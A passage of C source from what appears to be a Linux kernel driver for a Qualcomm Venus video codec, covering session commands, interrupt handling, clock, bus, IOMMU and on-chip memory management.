pkt_type, (u32)session); if (rc) { dprintk(VIDC_ERR, "send session cmd: create pkt failed"); goto err_create_pkt; } if (venus_hfi_iface_cmdq_write(session->device, &pkt)) rc = -ENOTEMPTY; err_create_pkt: return rc; } static int venus_hfi_session_end(void *session) { return venus_hfi_send_session_cmd(session, HFI_CMD_SYS_SESSION_END); } static int venus_hfi_session_abort(void *session) { return venus_hfi_send_session_cmd(session, HFI_CMD_SYS_SESSION_ABORT); } static int venus_hfi_session_clean(void *session) { struct hal_session *sess_close; if (!session) { dprintk(VIDC_ERR, "Invalid Params %s", __func__); return -EINVAL; } sess_close = session; dprintk(VIDC_DBG, "deleted the session: 0x%p", sess_close); mutex_lock(&((struct venus_hfi_device *) sess_close->device)->session_lock); list_del(&sess_close->list); mutex_unlock(&((struct venus_hfi_device *) sess_close->device)->session_lock); kfree(sess_close); return 0; } static int venus_hfi_session_set_buffers(void *sess, struct vidc_buffer_addr_info *buffer_info) { struct hfi_cmd_session_set_buffers_packet *pkt; u8 packet[VIDC_IFACEQ_VAR_LARGE_PKT_SIZE]; int rc = 0; struct hal_session *session; if (!sess || !buffer_info) { dprintk(VIDC_ERR, "Invalid Params"); return -EINVAL; } else { session = sess; } if (buffer_info->buffer_type == HAL_BUFFER_INPUT) return 0; pkt = (struct hfi_cmd_session_set_buffers_packet *)packet; rc = create_pkt_cmd_session_set_buffers(pkt, (u32)session, buffer_info); if (rc) { dprintk(VIDC_ERR, "set buffers: failed to create packet"); goto err_create_pkt; } dprintk(VIDC_INFO, "set buffers: 0x%x", buffer_info->buffer_type); if (venus_hfi_iface_cmdq_write(session->device, pkt)) rc = -ENOTEMPTY; err_create_pkt: return rc; } static int venus_hfi_session_release_buffers(void *sess, struct vidc_buffer_addr_info *buffer_info) { struct hfi_cmd_session_release_buffer_packet *pkt; u8 packet[VIDC_IFACEQ_VAR_LARGE_PKT_SIZE]; int rc = 0; struct hal_session *session; if (!sess || !buffer_info) { dprintk(VIDC_ERR, "Invalid Params"); return -EINVAL; } else { session = sess; } if (buffer_info->buffer_type == HAL_BUFFER_INPUT) return 0; pkt = (struct hfi_cmd_session_release_buffer_packet *) packet; rc = create_pkt_cmd_session_release_buffers(pkt, (u32)session, buffer_info); if (rc) { dprintk(VIDC_ERR, "release buffers: failed to create packet"); goto err_create_pkt; } dprintk(VIDC_INFO, "Release buffers: 0x%x", buffer_info->buffer_type); if (venus_hfi_iface_cmdq_write(session->device, pkt)) rc = -ENOTEMPTY; err_create_pkt: return rc; } static int venus_hfi_session_load_res(void *sess) { return venus_hfi_send_session_cmd(sess, HFI_CMD_SESSION_LOAD_RESOURCES); } static int venus_hfi_session_release_res(void *sess) { return venus_hfi_send_session_cmd(sess, HFI_CMD_SESSION_RELEASE_RESOURCES); } static int venus_hfi_session_start(void *sess) { return venus_hfi_send_session_cmd(sess, HFI_CMD_SESSION_START); } static int venus_hfi_session_stop(void *sess) { return venus_hfi_send_session_cmd(sess, HFI_CMD_SESSION_STOP); } static int venus_hfi_session_suspend(void *sess) { return venus_hfi_send_session_cmd(sess, HFI_CMD_SESSION_SUSPEND); } static int venus_hfi_session_resume(void *sess) { return venus_hfi_send_session_cmd(sess, HFI_CMD_SESSION_RESUME); } static int venus_hfi_session_etb(void *sess, struct vidc_frame_data *input_frame) { int rc = 0; struct hal_session *session; if (!sess || !input_frame) { dprintk(VIDC_ERR, "Invalid Params"); return -EINVAL; } else { session = sess; } if (session->is_decoder) { struct hfi_cmd_session_empty_buffer_compressed_packet pkt; rc = create_pkt_cmd_session_etb_decoder(&pkt, (u32)session, input_frame); if (rc) { dprintk(VIDC_ERR, "Session etb decoder: failed to create pkt"); goto err_create_pkt; } dprintk(VIDC_DBG, "Q DECODER INPUT BUFFER"); if (venus_hfi_iface_cmdq_write(session->device, &pkt)) rc = -ENOTEMPTY; } else { struct hfi_cmd_session_empty_buffer_uncompressed_plane0_packet pkt; rc = create_pkt_cmd_session_etb_encoder(&pkt, (u32)session, input_frame); if (rc) { dprintk(VIDC_ERR, "Session etb encoder: failed to create pkt"); goto err_create_pkt; } dprintk(VIDC_DBG, "Q ENCODER INPUT BUFFER"); if (venus_hfi_iface_cmdq_write(session->device, &pkt)) rc = -ENOTEMPTY; } err_create_pkt: return rc; } static int venus_hfi_session_ftb(void *sess, struct vidc_frame_data *output_frame) { struct hfi_cmd_session_fill_buffer_packet pkt; int rc = 0; struct hal_session *session; if (!sess || !output_frame) { dprintk(VIDC_ERR, "Invalid Params"); return -EINVAL; } else { session = sess; } rc = create_pkt_cmd_session_ftb(&pkt, (u32)session, output_frame); if (rc) { dprintk(VIDC_ERR, "Session ftb: failed to create pkt"); goto err_create_pkt; } if (venus_hfi_iface_cmdq_write(session->device, &pkt)) rc = -ENOTEMPTY; err_create_pkt: return rc; } static int venus_hfi_session_parse_seq_hdr(void *sess, struct vidc_seq_hdr *seq_hdr) { struct hfi_cmd_session_parse_sequence_header_packet *pkt; int rc = 0; u8 packet[VIDC_IFACEQ_VAR_SMALL_PKT_SIZE]; struct hal_session *session; if (!sess || !seq_hdr) { dprintk(VIDC_ERR, "Invalid Params"); return -EINVAL; } else { session = sess; } pkt = (struct hfi_cmd_session_parse_sequence_header_packet *) packet; rc = create_pkt_cmd_session_parse_seq_header(pkt, (u32)session, seq_hdr); if (rc) { dprintk(VIDC_ERR, "Session parse seq hdr: failed to create pkt"); goto err_create_pkt; } if (venus_hfi_iface_cmdq_write(session->device, pkt)) rc = -ENOTEMPTY; err_create_pkt: return rc; } static int venus_hfi_session_get_seq_hdr(void *sess, struct vidc_seq_hdr *seq_hdr) { struct hfi_cmd_session_get_sequence_header_packet *pkt; int rc = 0; u8 packet[VIDC_IFACEQ_VAR_SMALL_PKT_SIZE]; struct hal_session *session; if (!sess || !seq_hdr) { dprintk(VIDC_ERR, "Invalid Params"); return -EINVAL; } else { session = sess; } pkt = (struct hfi_cmd_session_get_sequence_header_packet *) packet; rc = create_pkt_cmd_session_get_seq_hdr(pkt, (u32)session, seq_hdr); if (rc) { dprintk(VIDC_ERR, "Session get seq hdr: failed to create pkt"); goto err_create_pkt; } if (venus_hfi_iface_cmdq_write(session->device, pkt)) rc = -ENOTEMPTY; err_create_pkt: return rc; } static int venus_hfi_session_get_buf_req(void *sess) { struct hfi_cmd_session_get_property_packet pkt; int rc = 0; struct hal_session *session; if (sess) { session = sess; } else { dprintk(VIDC_ERR, "invalid session"); return -ENODEV; } rc = create_pkt_cmd_session_get_buf_req(&pkt, (u32)session); if (rc) { dprintk(VIDC_ERR, "Session get buf req: failed to create pkt"); goto err_create_pkt; } if (venus_hfi_iface_cmdq_write(session->device, &pkt)) rc = -ENOTEMPTY; err_create_pkt: return rc; } static int venus_hfi_session_flush(void *sess, enum hal_flush flush_mode) { struct hfi_cmd_session_flush_packet pkt; int rc = 0; struct hal_session *session; if (sess) { session = sess; } else { dprintk(VIDC_ERR, "invalid session"); return -ENODEV; } rc = create_pkt_cmd_session_flush(&pkt, (u32)session, flush_mode); if (rc) { dprintk(VIDC_ERR, "Session flush: failed to create pkt"); goto err_create_pkt; } if (venus_hfi_iface_cmdq_write(session->device, &pkt)) rc = -ENOTEMPTY; err_create_pkt: return rc; } static int venus_hfi_check_core_registered( struct hal_device_data core, u32 fw_addr, u32 reg_addr, u32 reg_size, u32 irq) { struct venus_hfi_device *device; struct list_head *curr, *next; if (core.dev_count) { list_for_each_safe(curr, next, &core.dev_head) { device = list_entry(curr, struct venus_hfi_device, list); if (device && device->hal_data->irq == irq && (CONTAINS(device->hal_data-> device_base_addr, FIRMWARE_SIZE, fw_addr) || CONTAINS(fw_addr, FIRMWARE_SIZE, device->hal_data-> device_base_addr) || CONTAINS((u32)device->hal_data-> register_base_addr, reg_size, reg_addr) || CONTAINS(reg_addr, reg_size, (u32)device->hal_data-> register_base_addr) || OVERLAPS((u32)device->hal_data-> register_base_addr, reg_size, reg_addr, reg_size) || OVERLAPS(reg_addr, reg_size, (u32)device->hal_data-> register_base_addr, reg_size) || OVERLAPS(device->hal_data-> device_base_addr, FIRMWARE_SIZE, fw_addr, FIRMWARE_SIZE) || OVERLAPS(fw_addr, FIRMWARE_SIZE, device->hal_data-> device_base_addr, FIRMWARE_SIZE))) { return 0; } else { dprintk(VIDC_INFO, "Device not registered"); return -EINVAL; } } } else { dprintk(VIDC_INFO, "no device Registered"); } return -EINVAL; } static void venus_hfi_process_sys_watchdog_timeout( struct venus_hfi_device *device) { struct msm_vidc_cb_cmd_done cmd_done; memset(&cmd_done, 0, sizeof(struct msm_vidc_cb_cmd_done)); cmd_done.device_id = device->device_id; device->callback(SYS_WATCHDOG_TIMEOUT, &cmd_done); } static int venus_hfi_core_pc_prep(void *device) { struct hfi_cmd_sys_pc_prep_packet pkt; int rc = 0; struct venus_hfi_device *dev; if (device) { dev = device; } else { dprintk(VIDC_ERR, "invalid device"); return -ENODEV; } rc = create_pkt_cmd_sys_pc_prep(&pkt); if (rc) { dprintk(VIDC_ERR, "Failed to create sys pc prep pkt"); goto err_create_pkt; } if (venus_hfi_iface_cmdq_write(dev, &pkt)) rc = -ENOTEMPTY; err_create_pkt: return rc; } static void venus_hfi_pm_hndlr(struct work_struct *work) { int rc = 0; struct venus_hfi_device *device = list_first_entry( &hal_ctxt.dev_head, struct venus_hfi_device, list); mutex_lock(&device->clk_pwr_lock); if (device->clocks_enabled || !device->power_enabled) { dprintk(VIDC_DBG, "Clocks status: %d, Power status: %d, ignore power off\n", device->clocks_enabled, device->power_enabled); goto clks_enabled; } mutex_unlock(&device->clk_pwr_lock); init_completion(&pc_prep_done); rc = venus_hfi_core_pc_prep(device); if (rc) { dprintk(VIDC_ERR, "Failed to prepare venus for power off"); return; } rc = wait_for_completion_timeout(&pc_prep_done, msecs_to_jiffies(msm_vidc_hw_rsp_timeout)); if (!rc) { dprintk(VIDC_ERR, "Wait interrupted or timeout: %d", rc); return; } mutex_lock(&device->clk_pwr_lock); if (device->clocks_enabled) { dprintk(VIDC_ERR, "Clocks are still enabled after PC_PREP_DONE, ignore power off"); goto clks_enabled; } rc = venus_hfi_power_off(device); if (rc) dprintk(VIDC_ERR, "Failed venus power off"); clks_enabled: mutex_unlock(&device->clk_pwr_lock); } static int venus_hfi_try_clk_gating(struct venus_hfi_device *device) { int rc = 0; u32 ctrl_status = 0; if (!device) { dprintk(VIDC_ERR, "invalid device"); return -ENODEV; } mutex_lock(&device->write_lock); mutex_lock(&device->clk_pwr_lock); rc = venus_hfi_get_q_size(device, VIDC_IFACEQ_CMDQ_IDX); ctrl_status = venus_hfi_read_register( device, VIDC_CPU_CS_SCIACMDARG0); dprintk(VIDC_DBG, "venus_hfi_try_clk_gating - rc %d, ctrl_status 0x%x", rc, ctrl_status); if (((ctrl_status & VIDC_CPU_CS_SCIACMDARG0_HFI_CTRL_INIT_IDLE_MSG_BMSK) || (ctrl_status & VIDC_CPU_CS_SCIACMDARG0_HFI_CTRL_PC_READY)) && !rc) venus_hfi_clk_gating_on(device); else dprintk(VIDC_DBG, "Ignore clock gating"); mutex_unlock(&device->clk_pwr_lock); mutex_unlock(&device->write_lock); return rc; } static void venus_hfi_process_msg_event_notify( struct venus_hfi_device *device, void *packet) { struct hfi_sfr_struct *vsfr = NULL; struct hfi_msg_event_notify_packet *event_pkt; struct vidc_hal_msg_pkt_hdr *msg_hdr; msg_hdr = (struct vidc_hal_msg_pkt_hdr *)packet; event_pkt = (struct hfi_msg_event_notify_packet *)msg_hdr; if (event_pkt && event_pkt->event_id == HFI_EVENT_SYS_ERROR) { vsfr = (struct hfi_sfr_struct *) device->sfr.align_virtual_addr; if (vsfr) dprintk(VIDC_ERR, "SFR Message from FW : %s", vsfr->rg_data); } } static void venus_hfi_response_handler(struct venus_hfi_device *device) { u8 packet[VIDC_IFACEQ_MED_PKT_SIZE]; u32 rc = 0; struct hfi_sfr_struct *vsfr = NULL; dprintk(VIDC_INFO, "#####venus_hfi_response_handler#####\n"); if (device) { if ((device->intr_status & VIDC_WRAPPER_INTR_CLEAR_A2HWD_BMSK)) { dprintk(VIDC_ERR, "Received: Watchdog timeout %s", __func__); vsfr = (struct hfi_sfr_struct *) device->sfr.align_virtual_addr; if (vsfr) dprintk(VIDC_ERR, "SFR Message from FW : %s", vsfr->rg_data); venus_hfi_process_sys_watchdog_timeout(device); } while (!venus_hfi_iface_msgq_read(device, packet)) { rc = hfi_process_msg_packet(device->callback, device->device_id, (struct vidc_hal_msg_pkt_hdr *) packet, &device->sess_head, &device->session_lock); if (rc == HFI_MSG_EVENT_NOTIFY) venus_hfi_process_msg_event_notify( device, (void *)packet); } while (!venus_hfi_iface_dbgq_read(device, packet)) { struct hfi_msg_sys_debug_packet *pkt = (struct hfi_msg_sys_debug_packet *) packet; dprintk(VIDC_FW, "FW-SAYS: %s", pkt->rg_msg_data); } if (rc == HFI_MSG_SYS_IDLE) { dprintk(VIDC_DBG, "Received HFI_MSG_SYS_IDLE\n"); rc = venus_hfi_try_clk_gating(device); } else if (rc == HFI_MSG_SYS_PC_PREP_DONE) { dprintk(VIDC_DBG, "Received HFI_MSG_SYS_PC_PREP_DONE\n"); rc = venus_hfi_try_clk_gating(device); if (rc) dprintk(VIDC_ERR, "Failed clk gating after PC_PREP_DONE"); complete(&pc_prep_done); } } else { dprintk(VIDC_ERR, "SPURIOUS_INTERRUPT"); } } static void venus_hfi_core_work_handler(struct work_struct *work) { struct venus_hfi_device *device = list_first_entry( &hal_ctxt.dev_head, struct venus_hfi_device, list); dprintk(VIDC_INFO, " GOT INTERRUPT () "); if (!device->callback) { dprintk(VIDC_ERR, "No interrupt callback function: %p\n", device); return; } venus_hfi_core_clear_interrupt(device); venus_hfi_response_handler(device); if (!(device->intr_status & VIDC_WRAPPER_INTR_STATUS_A2HWD_BMSK)) enable_irq(device->hal_data->irq); } static DECLARE_WORK(venus_hfi_work, venus_hfi_core_work_handler); static irqreturn_t venus_hfi_isr(int irq, void *dev) { struct venus_hfi_device *device = dev; dprintk(VIDC_INFO, "vidc_hal_isr() %d ", irq); disable_irq_nosync(irq); queue_work(device->vidc_workq, &venus_hfi_work); dprintk(VIDC_INFO, "vidc_hal_isr() %d ", irq); return IRQ_HANDLED; } static int venus_hfi_init_regs_and_interrupts( struct venus_hfi_device *device, struct msm_vidc_platform_resources *res) { struct hal_data *hal = NULL; int rc = 0; device->base_addr = res->fw_base_addr; device->register_base = res->register_base; device->register_size = res->register_size; device->irq = res->irq; rc = venus_hfi_check_core_registered(hal_ctxt, device->base_addr, device->register_base, device->register_size, device->irq); if (!rc) { dprintk(VIDC_ERR, "Core present/Already added"); rc = -EEXIST; goto err_core_init; } dprintk(VIDC_DBG, "HAL_DATA will be assigned now"); hal = (struct hal_data *) kzalloc(sizeof(struct hal_data), GFP_KERNEL); if (!hal) { dprintk(VIDC_ERR, "Failed to alloc"); rc = -ENOMEM; goto err_core_init; } hal->irq = device->irq; hal->device_base_addr = device->base_addr; hal->register_base_addr = ioremap_nocache(device->register_base, device->register_size); if (!hal->register_base_addr) { dprintk(VIDC_ERR, "could not map reg addr %d of size %d", device->register_base, device->register_size); goto error_irq_fail; } device->hal_data = hal; rc = request_irq(device->irq, venus_hfi_isr, IRQF_TRIGGER_HIGH, "msm_vidc", device); if (unlikely(rc)) { dprintk(VIDC_ERR, "() :request_irq failed\n"); goto error_irq_fail; } disable_irq_nosync(device->irq); return rc; error_irq_fail: kfree(hal); err_core_init: return rc; } static inline int venus_hfi_init_clocks(struct msm_vidc_platform_resources *res, struct venus_hfi_device *device) { struct venus_core_clock *cl; int i; int rc = 0; struct venus_core_clock *clock; if (!res || !device) { dprintk(VIDC_ERR, "Invalid params: %p\n", device); return -EINVAL; } clock = device->resources.clock; strlcpy(clock[VCODEC_CLK].name, "core_clk", sizeof(clock[VCODEC_CLK].name)); strlcpy(clock[VCODEC_AHB_CLK].name, "iface_clk", sizeof(clock[VCODEC_AHB_CLK].name)); strlcpy(clock[VCODEC_AXI_CLK].name, "bus_clk", sizeof(clock[VCODEC_AXI_CLK].name)); if (res->has_ocmem) { strlcpy(clock[VCODEC_OCMEM_CLK].name, "mem_clk", sizeof(clock[VCODEC_OCMEM_CLK].name)); } clock[VCODEC_CLK].count = res->load_freq_tbl_size; memcpy((void *)clock[VCODEC_CLK].load_freq_tbl, res->load_freq_tbl, clock[VCODEC_CLK].count * sizeof(*res->load_freq_tbl)); dprintk(VIDC_DBG, "count = %d\n", clock[VCODEC_CLK].count); if (!clock[VCODEC_CLK].count) { dprintk(VIDC_ERR, "Failed to read clock frequency\n"); goto fail_init_clocks; } for (i = 0; i < clock[VCODEC_CLK].count; i++) { dprintk(VIDC_DBG, "load = %d, freq = %d\n", clock[VCODEC_CLK].load_freq_tbl[i].load, clock[VCODEC_CLK].load_freq_tbl[i].freq ); } for (i = 0; i < VCODEC_MAX_CLKS; i++) { if (i == VCODEC_OCMEM_CLK && !res->has_ocmem) continue; cl = &device->resources.clock[i]; if (!cl->clk) { cl->clk = devm_clk_get(&res->pdev->dev, cl->name); if (IS_ERR_OR_NULL(cl->clk)) { dprintk(VIDC_ERR, "Failed to get clock: %s\n", cl->name); rc = PTR_ERR(cl->clk); break; } } } if (i < VCODEC_MAX_CLKS) { for (--i; i >= 0; i--) { if (i == VCODEC_OCMEM_CLK && !res->has_ocmem) continue; cl = &device->resources.clock[i]; clk_put(cl->clk); } } fail_init_clocks: return rc; } static inline void venus_hfi_deinit_clocks(struct venus_hfi_device *device) { int i; if (!device) { dprintk(VIDC_ERR, "Invalid args\n"); return; } for (i = 0; i < VCODEC_MAX_CLKS; i++) { if (i == VCODEC_OCMEM_CLK && !device->res->has_ocmem) continue; clk_put(device->resources.clock[i].clk); } } static inline void venus_hfi_disable_clks(struct venus_hfi_device *device) { int i; struct venus_core_clock *cl; if (!device) { dprintk(VIDC_ERR, "Invalid params: %p\n", device); return; } mutex_lock(&device->clk_pwr_lock); if (device->clocks_enabled) { for (i = VCODEC_CLK; i < VCODEC_MAX_CLKS; i++) { cl = &device->resources.clock[i]; usleep(100); clk_disable(cl->clk); } } else { for (i = device->clk_gating_level + 1; i < VCODEC_MAX_CLKS; i++) { cl = &device->resources.clock[i]; usleep(100); clk_disable(cl->clk); } } for (i = VCODEC_CLK; i < VCODEC_MAX_CLKS; i++) { if (i == VCODEC_OCMEM_CLK && !device->res->has_ocmem) continue; cl = &device->resources.clock[i]; clk_unprepare(cl->clk); } device->clocks_enabled = 0; --device->clk_cnt; mutex_unlock(&device->clk_pwr_lock); } static inline int venus_hfi_enable_clks(struct venus_hfi_device *device) { int i = 0; struct venus_core_clock *cl; int rc = 0; if (!device) { dprintk(VIDC_ERR, "Invalid params: %p\n", device); return -EINVAL; } mutex_lock(&device->clk_pwr_lock); for (i = VCODEC_CLK; i < VCODEC_MAX_CLKS; i++) { if (i == VCODEC_OCMEM_CLK && !device->res->has_ocmem) continue; cl = &device->resources.clock[i]; rc = clk_prepare_enable(cl->clk); if (rc) { dprintk(VIDC_ERR, "Failed to enable clocks\n"); goto fail_clk_enable; } else { dprintk(VIDC_DBG, "Clock: %s enabled\n", cl->name); } } device->clocks_enabled = 1; ++device->clk_cnt; mutex_unlock(&device->clk_pwr_lock); return rc; fail_clk_enable: for (; i >= 0; i--) { cl = &device->resources.clock[i]; usleep(100); clk_disable_unprepare(cl->clk); } mutex_unlock(&device->clk_pwr_lock); return rc; } static int venus_hfi_register_iommu_domains(struct venus_hfi_device *device, struct msm_vidc_platform_resources *res) { struct iommu_domain *domain; int rc = 0, i = 0; struct iommu_set *iommu_group_set; struct iommu_info *iommu_map; if (!device || !res) return -EINVAL; iommu_group_set = &device->res->iommu_group_set; for (i = 0; i < iommu_group_set->count; i++) { iommu_map = &iommu_group_set->iommu_maps[i]; iommu_map->group = iommu_group_find(iommu_map->name); if (!iommu_map->group) { dprintk(VIDC_ERR, "Failed to find group :%s\n", iommu_map->name); goto fail_group; } domain = iommu_group_get_iommudata(iommu_map->group); if (!domain) { dprintk(VIDC_ERR, "Failed to get domain data for group %p", iommu_map->group); goto fail_group; } iommu_map->domain = msm_find_domain_no(domain); if (iommu_map->domain < 0) { dprintk(VIDC_ERR, "Failed to get domain index for domain %p", domain); goto fail_group; } } return rc; fail_group: for (--i; i >= 0; i--) { iommu_map = &iommu_group_set->iommu_maps[i]; if (iommu_map->group) iommu_group_put(iommu_map->group); iommu_map->group = NULL; iommu_map->domain = -1; } return -EINVAL; } static void venus_hfi_deregister_iommu_domains(struct venus_hfi_device *device) { struct iommu_set *iommu_group_set; struct iommu_info *iommu_map; int i = 0; if (!device) return; iommu_group_set = &device->res->iommu_group_set; for (i = 0; i < iommu_group_set->count; i++) { iommu_map = &iommu_group_set->iommu_maps[i]; if (iommu_map->group) iommu_group_put(iommu_map->group); iommu_map->group = NULL; iommu_map->domain = -1; } } static void venus_hfi_deinit_bus(struct venus_hfi_device *device) { struct venus_bus_info *bus_info; int i = 0; if (!device) return; bus_info = &device->resources.bus_info; for (i = 0; i < MSM_VIDC_MAX_DEVICES; i++) { if (bus_info->ddr_handle[i]) { msm_bus_scale_unregister_client( bus_info->ddr_handle[i]); bus_info->ddr_handle[i] = 0; } if (bus_info->ocmem_handle[i]) { msm_bus_scale_unregister_client( bus_info->ocmem_handle[i]); bus_info->ocmem_handle[i] = 0; } } } static int venus_hfi_init_bus(struct venus_hfi_device *device) { struct venus_bus_info *bus_info; int rc = 0; if ((!device) || (!device->res->bus_pdata)) return -EINVAL; bus_info = &device->resources.bus_info; bus_info->ddr_handle[MSM_VIDC_ENCODER] = msm_bus_scale_register_client( &device->res->bus_pdata[BUS_IDX_ENC_DDR]); if (!bus_info->ddr_handle[MSM_VIDC_ENCODER]) { dprintk(VIDC_ERR, "Failed to register bus scale client\n"); goto err_init_bus; } bus_info->ddr_handle[MSM_VIDC_DECODER] = msm_bus_scale_register_client( &device->res->bus_pdata[BUS_IDX_DEC_DDR]); if (!bus_info->ddr_handle[MSM_VIDC_DECODER]) { dprintk(VIDC_ERR, "Failed to register bus scale client\n"); goto err_init_bus; } if (device->res->has_ocmem) { bus_info->ocmem_handle[MSM_VIDC_ENCODER] = msm_bus_scale_register_client( &device->res->bus_pdata[BUS_IDX_ENC_OCMEM]); if (!bus_info->ocmem_handle[MSM_VIDC_ENCODER]) { dprintk(VIDC_ERR, "Failed to register bus scale client\n"); goto err_init_bus; } bus_info->ocmem_handle[MSM_VIDC_DECODER] = msm_bus_scale_register_client( &device->res->bus_pdata[BUS_IDX_DEC_OCMEM]); if (!bus_info->ocmem_handle[MSM_VIDC_DECODER]) { dprintk(VIDC_ERR, "Failed to register bus scale client\n"); goto err_init_bus; } } return rc; err_init_bus: venus_hfi_deinit_bus(device); return -EINVAL; } static int venus_hfi_set_ocmem(void *dev, struct ocmem_buf *ocmem) { struct vidc_resource_hdr rhdr; struct venus_hfi_device *device = dev; int rc = 0; if (!device || !ocmem) { dprintk(VIDC_ERR, "Invalid params, core:%p, ocmem: %p\n", device, ocmem); return -EINVAL; } rhdr.resource_id = VIDC_RESOURCE_OCMEM; rhdr.resource_handle = (u32) &device->resources.ocmem; rhdr.size = ocmem->len; rc = venus_hfi_core_set_resource(device, &rhdr, ocmem); if (rc) { dprintk(VIDC_ERR, "Failed to set OCMEM on driver\n"); goto ocmem_set_failed; } dprintk(VIDC_DBG, "OCMEM set, addr = %lx, size: %ld\n", ocmem->addr, ocmem->len); ocmem_set_failed: return rc; } static int venus_hfi_unset_ocmem(void *dev) { struct vidc_resource_hdr rhdr; struct venus_hfi_device *device = dev; int rc = 0; if (!device) { dprintk(VIDC_ERR, "%s Invalid params, device:%p\n", __func__, device); rc = -EINVAL; goto ocmem_unset_failed; } if (!device->resources.ocmem.buf) { dprintk(VIDC_INFO, "%s Trying to free OCMEM which is not set", __func__); rc = -EINVAL; goto ocmem_unset_failed; } rhdr.resource_id = VIDC_RESOURCE_OCMEM; rhdr.resource_handle = (u32) &device->resources.ocmem; rc = venus_hfi_core_release_resource(device, &rhdr); if (rc) dprintk(VIDC_ERR, "Failed to unset OCMEM on driver\n"); ocmem_unset_failed: return rc; } static int venus_hfi_ocmem_notify_handler(struct notifier_block *this, unsigned long event, void *data) { struct ocmem_buf *buff = data; struct venus_hfi_device *device; struct venus_resources *resources; struct on_chip_mem *ocmem; int rc = NOTIFY_DONE; if (event == OCMEM_ALLOC_GROW) { ocmem = container_of(this, struct on_chip_mem, vidc_ocmem_nb); if (!ocmem) { dprintk(VIDC_ERR, "Wrong handler passed\n"); rc = NOTIFY_BAD; goto err_ocmem_notify; } resources = container_of(ocmem, struct venus_resources, ocmem); device = container_of(resources, struct venus_hfi_device, resources); if (venus_hfi_set_ocmem(device, buff)) { dprintk(VIDC_ERR, "Failed to set ocmem: %d\n", rc); goto err_ocmem_notify; } rc = NOTIFY_OK; } err_ocmem_notify: return rc; } static void venus_hfi_ocmem_init(struct venus_hfi_device *device) { struct on_chip_mem *ocmem; ocmem = &device->resources.ocmem; ocmem->vidc_ocmem_nb.notifier_call = venus_hfi_ocmem_notify_handler; ocmem->handle = ocmem_notifier_register(OCMEM_VIDEO, &ocmem->vidc_ocmem_nb); if (IS_ERR_OR_NULL(ocmem->handle)) { dprintk(VIDC_WARN, "Failed to register OCMEM notifier. Performance might be impacted\n"); ocmem->handle = NULL; } } static int venus_hfi_alloc_ocmem(void *dev, unsigned long size) { int rc = 0; struct ocmem_buf *ocmem_buffer; struct venus_hfi_device *device = dev; if (!device || !size) { dprintk(VIDC_ERR, "%s Invalid param, core: %p, size: %lu\n", __func__, device, size); return -EINVAL; } ocmem_buffer = device->resources.ocmem.buf; if (!ocmem_buffer || ocmem_buffer->len < size) { ocmem_buffer = ocmem_allocate(OCMEM_VIDEO, size); if (IS_ERR_OR_NULL(ocmem_buffer)) { dprintk(VIDC_ERR, "ocmem_allocate_nb failed: %d\n", (u32) ocmem_buffer); rc = -ENOMEM; } device->resources.ocmem.buf = ocmem_buffer; rc = venus_hfi_set_ocmem(device, ocmem_buffer); if (rc) { dprintk(VIDC_ERR, "Failed to set ocmem: %d\n", rc); goto ocmem_set_failed; } } else dprintk(VIDC_DBG, "OCMEM is enough. reqd: %lu, available: %lu\n", size, ocmem_buffer->len); ocmem_set_failed: return rc; } static int venus_hfi_free_ocmem(void *dev) { struct venus_hfi_device *device = dev; int rc = 0; if (!device) { dprintk(VIDC_ERR, "%s invalid device handle %p", __func__, device); return -EINVAL; } if (device->resources.ocmem.buf) { rc = ocmem_free(OCMEM_VIDEO, device->resources.ocmem.buf); if (rc) dprintk(VIDC_ERR, "Failed to free ocmem\n"); device->resources.ocmem.buf = NULL; } return rc; } static void venus_hfi_deinit_ocmem(struct venus_hfi_device *device) { if (device->resources.ocmem.handle) ocmem_notifier_unregister(device->resources.ocmem.handle, &device->resources.ocmem.vidc_ocmem_nb); } static int venus_hfi_init_resources(struct venus_hfi_device *device, struct msm_vidc_platform_resources *res) { int rc = 0; device->res = res; if (!res) { dprintk(VIDC_ERR, "Invalid params: %p\n", res); return -ENODEV; } device->gdsc = devm_regulator_get(&res->pdev->dev, "vdd"); if (IS_ERR(device->gdsc)) { dprintk(VIDC_ERR, "Failed to get Venus GDSC\n"); return -ENODEV; } rc = venus_hfi_init_clocks(res, device); if (rc) { dprintk(VIDC_ERR, "Failed to init clocks\n"); rc = -ENODEV; goto err_init_clocks; } rc = venus_hfi_init_bus(device); if (rc) { dprintk(VIDC_ERR, "Failed to init bus: %d\n", rc); goto err_init_bus; } rc = venus_hfi_register_iommu_domains(device, res); if (rc) { dprintk(VIDC_ERR, "Failed to register iommu domains: %d\n", rc); goto err_register_iommu_domain; } if (res->has_ocmem) venus_hfi_ocmem_init(device); return rc; err_register_iommu_domain: venus_hfi_deinit_bus(device); err_init_bus: venus_hfi_deinit_clocks(device); err_init_clocks: device->gdsc = NULL; return rc; } static void venus_hfi_deinit_resources(struct venus_hfi_device *device) { if (device->res->has_ocmem) venus_hfi_deinit_ocmem(device); venus_hfi_deregister_iommu_domains(device); venus_hfi_deinit_bus(device); venus_hfi_deinit_clocks(device); device->gdsc = NULL; } static int venus_hfi_iommu_get_domain_partition(void *dev, u32 flags, u32 buffer_type, int *domain, int *partition) { struct venus_hfi_device *device = dev; if (!device) { dprintk(VIDC_ERR, "%s: Invalid param device: %p\n", __func__, device); return -EINVAL; } msm_smem_get_domain_partition(device->hal_client, flags, buffer_type, domain, partition); return 0; } static int protect_cp_mem(struct venus_hfi_device *device) { struct tzbsp_memprot memprot; unsigned int resp = 0; int rc = 0; struct iommu_set *iommu_group_set; struct iommu_info *iommu_map; int i; if (!device) return -EINVAL; iommu_group_set = &device->res->iommu_group_set; if (!iommu_group_set) { dprintk(VIDC_ERR, "invalid params: %p\n", iommu_group_set); return -EINVAL; } memprot.cp_start = 0x0; memprot.cp_size = 0x0; memprot.cp_nonpixel_start = 0x0; memprot.cp_nonpixel_size = 0x0; for (i = 0; i < iommu_group_set->count; i++) { iommu_map = &iommu_group_set->iommu_maps[i]; if (strcmp(iommu_map->name, "venus_ns") == 0) memprot.cp_size = iommu_map->addr_range[0].start; if (strcmp(iommu_map->name, "venus_sec_non_pixel") == 0) { memprot.cp_nonpixel_start = iommu_map->addr_range[0].start; memprot.cp_nonpixel_size = iommu_map->addr_range[0].size; } else if (strcmp(iommu_map->name, "venus_cp") == 0) { memprot.cp_nonpixel_start = iommu_map->addr_range[1].start; } } rc = scm_call(SCM_SVC_MP, TZBSP_MEM_PROTECT_VIDEO_VAR, &memprot, sizeof(memprot), &resp, sizeof(resp)); if (rc) dprintk(VIDC_ERR, "Failed to protect memory , rc is :%d, response : %d\n", rc, resp); return rc; } static int venus_hfi_load_fw(void *dev) { int rc = 0; struct venus_hfi_device *device = 